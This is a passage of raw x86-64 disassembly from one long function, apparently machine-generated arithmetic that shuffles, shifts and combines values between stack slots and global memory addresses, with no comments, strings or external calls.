mov ecx, dword [rsp + 0x2c98]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5718]
mov rax, qword [rax]
mov qword [rsp + 0x6130], rax
mov rax, qword [rsp + 0x50e0]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5ae8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5a30]
movzx eax, word [rax]
mov word [0x140114400], ax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x6138], rax
mov rax, qword [rsp + 0x5e30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9a]
shl eax, cl
mov byte [rsp + 0x73], al
movzx eax, word [rsp + 0x974]
mov rcx, qword [rsp + 0x5088]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5720]
mov word [rcx], ax
mov rax, qword [rsp + 0x5068]
movzx eax, byte [rax]
mov byte [rsp + 0xd1], al
mov rax, qword [rsp + 0x5618]
mov rcx, qword [rsp + 0x5550]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2bb8], eax
mov rax, qword [rsp + 0x4d88]
mov eax, dword [rax]
mov dword [rsp + 0x2d48], eax
mov rax, qword [rsp + 0x5548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5290]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x5e50]
mov rcx, qword [rsp + 0x5fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5760]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x9a]
movsx ecx, byte [rsp + 0x32]
sub eax, ecx
mov byte [0x140113002], al
movzx eax, word [rsp + 0x968]
mov word [rsp + 0xa94], ax
movzx eax, byte [rsp + 0x35]
movzx ecx, byte [rsp + 0x86]
add eax, ecx
mov byte [rsp + 0x93], al
lea rax, [rsp + 0x900]
mov qword [rsp + 0x6140], rax
movsx eax, word [rsp + 0x8e0]
mov rcx, qword [rsp + 0x5da8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8ec], ax
mov eax, dword [rsp + 0x2c68]
mov dword [rsp + 0x2d4c], eax
mov rax, qword [rsp + 0x5480]
mov rcx, qword [rsp + 0x5df0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5910], rax
mov eax, dword [rsp + 0x2c0c]
mov ecx, dword [rsp + 0x2c5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d20], eax
mov rax, qword [0x140113008]
mov qword [rsp + 0x6148], rax
mov rax, qword [rsp + 0x5530]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x58e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140114380], ax
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x5b48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa8c], ax
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0xd2], al
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
shl eax, cl
mov rcx, qword [rsp + 0x4f40]
mov byte [rcx], al
movzx eax, word [rsp + 0x8fc]
mov rcx, qword [rsp + 0x5688]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x898], ax
lea rax, [0x140114160]
mov qword [rsp + 0x6150], rax
mov rax, qword [rsp + 0x5270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c68]
mov qword [rsp + 0x6158], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6158]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5380], rax
mov eax, dword [rsp + 0x2b84]
mov dword [rsp + 0x2d50], eax
mov rax, qword [rsp + 0x6100]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cd0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov dword [rcx], eax
lea rax, [rsp + 0x8f]
mov qword [0x140114408], rax
movsx eax, word [rsp + 0x904]
movsx ecx, word [rsp + 0x968]
and eax, ecx
mov rcx, qword [rsp + 0x5298]
mov word [rcx], ax
lea rax, [0x14011303e]
mov qword [rsp + 0x6160], rax
movsx eax, word [rsp + 0x9d4]
movsx ecx, word [rsp + 0x8c8]
add eax, ecx
mov word [rsp + 0x8f0], ax
mov rax, qword [rsp + 0x5f80]
movzx eax, word [rax]
mov word [rsp + 0xa98], ax
mov rax, qword [rsp + 0x5c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b1c], eax
lea rax, [rsp + 0x5ea0]
mov qword [rsp + 0x6168], rax
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x54a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5648], rax
mov rax, qword [rsp + 0x4ee8]
mov ecx, dword [rsp + 0x2c2c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5698]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0x52a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113036], al
mov rax, qword [rsp + 0x6028]
movzx eax, byte [rax]
mov byte [rsp + 0xd3], al
movzx eax, word [rsp + 0x848]
movzx ecx, word [0x140113024]
sub eax, ecx
mov word [rsp + 0x9ec], ax
lea rax, [rsp + 0x43]
mov qword [rsp + 0x6170], rax
mov rax, qword [rsp + 0x5b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6c], al
mov rax, qword [rsp + 0x5410]
mov rcx, qword [0x140114160]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5fa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ef8]
mov qword [rsp + 0x6178], rax
mov eax, dword [rsp + 0x2d10]
movzx ecx, al
mov eax, dword [rsp + 0x2c6c]
shr eax, cl
mov rcx, qword [rsp + 0x5de8]
mov dword [rcx], eax
lea rax, [rsp + 0x2cac]
mov qword [rsp + 0x6180], rax
lea rax, [rsp + 0x45]
mov qword [0x140114410], rax
mov rax, qword [rsp + 0x5f20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4b]
shl eax, cl
mov byte [rsp + 0x56], al
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
movzx ecx, word [0x140113024]
xor eax, ecx
mov rcx, qword [rsp + 0x5b30]
mov word [rcx], ax
lea rax, [rsp + 0xa38]
mov qword [rsp + 0x6188], rax
mov rax, qword [rsp + 0x5b50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8d8]
or eax, ecx
mov word [rsp + 0x840], ax
mov eax, dword [rsp + 0x29d8]
mov dword [rsp + 0x2d54], eax
mov rax, qword [rsp + 0x5c10]
mov rcx, qword [rsp + 0x4f70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x52f0], rax
mov eax, dword [rsp + 0x2b74]
mov ecx, dword [rsp + 0x2ce0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cb8], eax
mov rax, qword [0x140113008]
mov qword [rsp + 0x6190], rax
movzx eax, word [rsp + 0x9f8]
mov rcx, qword [rsp + 0x52b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa8c], ax
movsx eax, byte [rsp + 0xc7]
movsx ecx, byte [rsp + 0xa2]
sub eax, ecx
mov byte [0x140114214], al
mov rax, qword [rsp + 0x5e20]
movzx eax, word [rax]
mov word [rsp + 0xa9c], ax
movzx eax, byte [rsp + 0x7f]
mov rcx, qword [rsp + 0x5110]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4c], al
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x6198], rax
mov rax, qword [rsp + 0x6020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b20], eax
mov rax, qword [rsp + 0x5a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bf0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5bd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov qword [rsp + 0x61a0], rax
mov rax, qword [rsp + 0x59d8]
mov rcx, qword [rsp + 0x5370]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6148], rax
mov rax, qword [rsp + 0x5768]
movzx eax, byte [rax]
mov byte [rsp + 0xd4], al
mov rax, qword [rsp + 0x5e70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b20]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140113090], ax
movzx eax, word [rsp + 0xa2c]
mov rcx, qword [rsp + 0x5b58]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5058]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6f]
mov rcx, qword [rsp + 0x5f20]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xa0], al
lea rax, [rsp + 0x87c]
mov qword [rsp + 0x61a8], rax
mov rax, qword [rsp + 0x5d50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5900]
mov qword [rsp + 0x61b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x61b0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5830], rax
mov rax, qword [rsp + 0x5b90]
mov eax, dword [rax]
mov dword [rsp + 0x2d58], eax
mov rax, qword [rsp + 0x5898]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x58c8]
mov qword [rsp + 0x61b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x61b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2d0c], eax
mov rax, qword [rsp + 0x5180]
mov rcx, qword [rsp + 0x5ab0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x51f8]
movzx eax, byte [rax]
mov byte [rsp + 0xd5], al
mov rax, qword [rsp + 0x5780]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5ee0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140113094], ax
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5170]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x998], ax
lea rax, [rsp + 0x990]
mov qword [rsp + 0x61c0], rax
mov rax, qword [rsp + 0x5e90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x57a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb1], al
lea rax, [rsp + 0x2980]
mov qword [rsp + 0x61c8], rax
mov rax, qword [rsp + 0x54d0]
mov rcx, qword [rsp + 0x5380]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5a70], rax
mov rax, qword [rsp + 0x5d78]
mov rcx, qword [rsp + 0x59a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x55b0], rax
mov eax, dword [rsp + 0x2bd0]
mov dword [rsp + 0x2d5c], eax
movsx eax, word [rsp + 0xa90]
movsx ecx, word [rsp + 0x928]
sub eax, ecx
mov rcx, qword [rsp + 0x4f98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x48]
mov rcx, qword [0x140114250]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401141f8]
mov byte [rcx], al
lea rax, [rsp + 0x934]
mov qword [rsp + 0x61d0], rax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x5ac8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7f], al
movsx eax, byte [rsp + 0x4d]
movsx ecx, byte [rsp + 0xa3]
sub eax, ecx
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0x4b68]
movzx eax, word [rax]
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0x56e8]
mov rcx, qword [rsp + 0x59a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5d38]
mov qword [rcx], rax
lea rax, [rsp + 0x5748]
mov qword [rsp + 0x61d8], rax
mov rax, qword [rsp + 0x60f0]
mov ecx, dword [rsp + 0x2c34]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ccc], eax
mov rax, qword [rsp + 0x53f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2bcc]
shl eax, cl
mov dword [rsp + 0x2c48], eax
mov rax, qword [0x1401143a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x81]
xor eax, ecx
mov byte [0x14011304a], al
lea rax, [rsp + 0x5d]
mov qword [rsp + 0x61e0], rax
mov rax, qword [rsp + 0x5f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5a10]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5f68]
mov word [rcx], ax
lea rax, section..data
mov qword [rsp + 0x61e8], rax
mov rax, qword [rsp + 0x6188]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5e08]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9a4], ax
mov rax, qword [rsp + 0x57f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b28], eax
mov rax, qword [0x140114160]
mov qword [rsp + 0x61f0], rax
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5928]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5830], rax
mov rax, qword [rsp + 0x53a0]
mov eax, dword [rax]
mov dword [rsp + 0x2d60], eax
mov rax, qword [rsp + 0x5cd8]
movzx eax, byte [rax]
movzx ecx, byte [0x140114213]
add eax, ecx
mov rcx, qword [0x140114248]
mov byte [rcx], al
movsx eax, word [rsp + 0x98c]
movsx ecx, word [rsp + 0x890]
and eax, ecx
mov word [rsp + 0x950], ax
mov rax, qword [rsp + 0x5a18]
movzx eax, word [rax]
mov word [rsp + 0xaa4], ax
mov rax, qword [rsp + 0x5f20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38]
sub eax, ecx
mov byte [rsp + 0x40], al
movsx eax, byte [rsp + 0x4b]
mov rcx, qword [rsp + 0x5c60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcf], al
lea rax, [rsp + 0x2bd4]
mov qword [rsp + 0x61f8], rax
mov rax, qword [rsp + 0x4d60]
mov rcx, qword [rsp + 0x4ff8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5770]
mov dword [rcx], eax
lea rax, [rsp + 0x5290]
mov qword [rsp + 0x6200], rax
mov rax, qword [rsp + 0x5960]
mov rcx, qword [rsp + 0x59f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4da0]
mov qword [rcx], rax
lea rax, [0x14011306c]
mov qword [0x140114418], rax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5dc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x39]
mov byte [rsp + 0xd6], al
movzx eax, byte [rsp + 0xc2]
mov rcx, qword [rsp + 0x52d0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3c], al
mov rax, qword [rsp + 0x4ed0]
movzx eax, byte [rax]
mov byte [rsp + 0xd7], al
mov eax, dword [rsp + 0x2b1c]
mov ecx, dword [rsp + 0x2b6c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5fb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x58d8]
mov rcx, qword [rsp + 0x60c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5a78]
mov qword [rcx], rax
lea rax, [rsp + 0x2c60]
mov qword [rsp + 0x6208], rax
mov rax, qword [rsp + 0x5970]
cqo
mov rcx, qword [rsp + 0x5db8]
idiv qword [rcx]
mov rcx, qword [rsp + 0x6150]
mov qword [rcx], rax
movzx eax, word [str.n_a54]
movzx ecx, word [rsp + 0x8e4]
shl eax, cl
mov word [0x14011305c], ax
movzx eax, byte [rsp + 0xc4]
mov byte [rsp + 0xd8], al
mov rax, qword [rsp + 0x59b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [0x1401142a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5d28]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x58e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4e]
mov byte [rsp + 0xd9], al
mov rax, qword [rsp + 0x60e8]
mov rcx, qword [rsp + 0x5898]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c38], eax
lea rax, [rsp + 0x2bf0]
mov qword [rsp + 0x6210], rax
mov rax, qword [rsp + 0x4f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5138]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
lea rax, [rsp + 0x5410]
mov qword [rsp + 0x6218], rax
movsx eax, byte [rsp + 0xa0]
movsx ecx, byte [rsp + 0x89]
add eax, ecx
mov byte [0x140113023], al
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x8bc]
and eax, ecx
mov rcx, qword [rsp + 0x5e18]
mov word [rcx], ax
movsx eax, byte [rsp + 0xa6]
mov rcx, qword [0x140114178]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc7], al
movzx eax, word [rsp + 0xa9c]
mov word [rsp + 0xaa8], ax
movzx eax, byte [rsp + 0x36]
movzx ecx, byte [rsp + 0xbd]
add eax, ecx
mov rcx, qword [rsp + 0x5980]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov dword [rsp + 0x2d64], eax
mov rax, qword [rsp + 0x5a88]
mov rcx, qword [rsp + 0x5970]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5950]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5ac0]
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5250], rax
mov rax, qword [rsp + 0x55b8]
mov eax, dword [rax]
mov dword [rsp + 0x2d68], eax
mov rax, qword [rsp + 0x52b8]
movzx eax, word [rax]
mov word [0x140114420], ax
mov rax, qword [rsp + 0x5608]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5598]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5888]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd1]
mov byte [rsp + 0xda], al
movzx eax, byte [rsp + 0x9b]
mov rcx, qword [rsp + 0x5d48]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x5058]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa10]
xor eax, ecx
mov rcx, qword [rsp + 0x5e18]
mov word [rcx], ax
lea rax, [rsp + 0x5278]
mov qword [rsp + 0x6220], rax
mov rax, qword [rsp + 0x52c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x52b0]
mov qword [rsp + 0x6228], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6228]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x55a0]
mov dword [rcx], eax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0x6230], rax
mov rax, qword [rsp + 0x5d08]
mov ecx, dword [rsp + 0x2b90]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2c48], eax
movzx eax, word [0x1401143e8]
mov rcx, qword [rsp + 0x5b48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140113010], ax
mov rax, qword [rsp + 0x61a8]
movzx eax, word [rax]
mov word [rsp + 0xaac], ax
mov rax, qword [rsp + 0x5c48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5600]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x57a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5968]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa70]
sub eax, ecx
mov rcx, qword [rsp + 0x51b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x60d0]
movzx eax, byte [rax]
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x50e0]
mov rcx, qword [rsp + 0x5098]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5858], rax
mov rax, qword [rsp + 0x5bc0]
mov qword [rsp + 0x6238], rax
mov rax, qword [rsp + 0x5550]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2af8], eax
mov rax, qword [rsp + 0x5358]
mov ecx, dword [rsp + 0x2d3c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2d4c], eax
movzx eax, word [rsp + 0x8c0]
mov word [rsp + 0xab0], ax
movsx eax, byte [rsp + 0x3f]
movsx ecx, byte [rsp + 0x40]
add eax, ecx
mov byte [0x14011304b], al
mov rax, qword [rsp + 0x5110]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
sub eax, ecx
mov rcx, qword [rsp + 0x4f30]
mov byte [rcx], al
mov rax, qword [rsp + 0x5b20]
movzx eax, word [rax]
mov word [rsp + 0xab4], ax
movzx eax, byte [rsp + 0xd7]
mov rcx, qword [rsp + 0x5308]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6018]
mov byte [rcx], al
mov rax, qword [rsp + 0x5cd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bc0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cf0], eax
mov rax, qword [rsp + 0x5350]
mov qword [rsp + 0x6240], rax
mov eax, dword [rsp + 0x2ae4]
movzx ecx, al
mov eax, dword [rsp + 0x2d04]
sar eax, cl
mov rcx, qword [rsp + 0x6210]
mov dword [rcx], eax
lea rax, [rsp + 0x5c70]
mov qword [rsp + 0x6248], rax
movsx eax, word [rsp + 0x994]
mov rcx, qword [rsp + 0x61a8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5e58]
mov word [rcx], ax
mov rax, qword [rsp + 0x5ba8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4a]
xor eax, ecx
mov byte [0x14011302f], al
movzx eax, word [0x140113080]
movzx ecx, word [rsp + 0x89c]
and eax, ecx
mov word [rsp + 0x9f4], ax
mov rax, qword [rsp + 0x5dd0]
movzx eax, word [rax]
mov word [rsp + 0xab8], ax
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x5630]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5f80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov qword [rsp + 0x6250], rax
mov rax, qword [rsp + 0x6020]
mov ecx, dword [rsp + 0x2cf8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2958], eax
mov rax, qword [rsp + 0x60f0]
mov eax, dword [rax]
mov dword [rsp + 0x2d6c], eax
mov rax, qword [rsp + 0x4f38]
mov rcx, qword [rsp + 0x5998]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5ea0], rax
movzx eax, byte [rsp + 0x4c]
movzx ecx, byte [rsp + 0x90]
sub eax, ecx
mov byte [rsp + 0x7c], al
lea rax, [rsp + 0x960]
mov qword [0x140114428], rax
movzx eax, byte [rsp + 0xb7]
mov byte [rsp + 0xdc], al
movsx eax, byte [rsp + 0xb9]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x5450]
mov byte [rcx], al
movzx eax, byte [rsp + 0xd2]
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0x4c60]
mov rcx, qword [rsp + 0x5228]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2be0], eax
mov rax, qword [rsp + 0x61c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ca0], eax
lea rax, [rsp + 0x57c8]
mov qword [rsp + 0x6258], rax
mov rax, qword [rsp + 0x60c8]
mov rcx, qword [rsp + 0x5818]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6178], rax
lea rax, [rsp + 0xd7]
mov qword [rsp + 0x6260], rax
movsx eax, byte [rsp + 0xb2]
movsx ecx, byte [rsp + 0x78]
or eax, ecx
mov byte [0x14011302a], al
movsx eax, word [rsp + 0xa54]
mov rcx, qword [0x140114350]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x9e8], ax
movzx eax, word [rsp + 0xa4c]
movzx ecx, word [rsp + 0x970]
shl eax, cl
mov word [rsp + 0x9b4], ax
movzx eax, word [rsp + 0x9fc]
mov word [rsp + 0xabc], ax
movzx eax, word [rsp + 0xa28]
movzx ecx, word [rsp + 0x854]
sar eax, cl
mov word [rsp + 0x94c], ax
mov eax, dword [rsp + 0x2cf4]
mov dword [rsp + 0x2d70], eax
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x50d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5b88], rax
mov rax, qword [rsp + 0x5628]
mov qword [rsp + 0x6268], rax
mov rax, qword [rsp + 0x4dd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5f58]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14011304e], al
movzx eax, byte [0x1401141ba]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0x5208]
movzx eax, word [rax]
mov word [rsp + 0xac0], ax
movzx eax, word [rsp + 0x870]
movzx ecx, word [rsp + 0xa28]
add eax, ecx
mov word [rsp + 0x8b8], ax
lea rax, [0x140113046]
mov qword [rsp + 0x6270], rax
mov rax, qword [rsp + 0x5be8]
mov rcx, qword [rsp + 0x5678]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5010]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50f0]
mov rcx, qword [rsp + 0x5760]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5df0]
mov qword [rcx], rax
lea rax, [0x140114150]
mov qword [rsp + 0x6278], rax
mov rax, qword [rsp + 0x5a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b88]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c28]
mov dword [rcx], eax
movzx eax, word [rsp + 0x994]
mov word [0x140114430], ax
lea rax, [0x140113042]
mov qword [rsp + 0x6280], rax
mov rax, qword [rsp + 0x5298]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5ee0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f98]
mov word [rcx], ax
movzx eax, word [rsp + 0x958]
mov rcx, qword [rsp + 0x5e70]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa98], ax
movzx eax, byte [rsp + 0xb9]
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0x4bd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x53b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4fd8]
mov rax, qword [rax]
mov qword [rsp + 0x6288], rax
mov rax, qword [rsp + 0x5e78]
mov rcx, qword [rsp + 0x5de8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5ab8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b68]
movzx ecx, al
mov eax, dword [rsp + 0x2c88]
shl eax, cl
mov dword [rsp + 0x2d18], eax
movzx eax, word [rsp + 0x884]
mov rcx, qword [rsp + 0x5b30]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140113064], ax
lea rax, [0x1401141b8]
mov qword [rsp + 0x6290], rax
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x50c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5420]
mov byte [rcx], al
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x5be0]
movsx eax, byte [rax]
mov rcx, qword [0x140114320]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65], al
lea rax, [rsp + 0x2bd0]
mov qword [rsp + 0x6298], rax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x5d90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5428]
mov dword [rcx], eax
mov rax, qword [rsp + 0x58d8]
